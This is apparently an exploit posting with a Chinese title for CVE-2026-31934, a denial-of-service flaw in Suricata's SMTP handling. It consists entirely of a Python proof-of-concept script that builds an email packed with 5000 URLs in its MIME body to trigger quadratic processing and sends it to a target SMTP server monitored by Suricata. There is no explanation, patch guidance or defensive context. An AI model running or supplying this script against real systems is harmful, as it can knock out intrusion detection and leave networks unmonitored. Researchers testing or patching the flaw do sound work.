CVE-2026-31934 Suricata SMTP拒绝服务漏洞

import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # Target SMTP server (Monitored by Suricata) SMTP_SERVER = '192.168.1.100' SMTP_PORT = 25 SENDER = '[email protected]' RECEIVER = '[email protected]' def create_dos_email(): msg = MIMEMultipart() msg['From'] = SENDER msg['To'] = RECEIVER msg['Subject'] = 'PoC for CVE-2026-31934' # Generate payload with quadratic complexity trigger # Inserting a large number of URLs in MIME content malicious_content = "" for i in range(5000): malicious_content += f"http://example.com/{i} " msg.attach(MIMEText(malicious_content, 'plain')) return msg try: server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT) server.sendmail(SENDER, RECEIVER, create_dos_email().as_string()) server.quit() print("PoC email sent successfully.") except Exception as e: print(f"Error: {e}")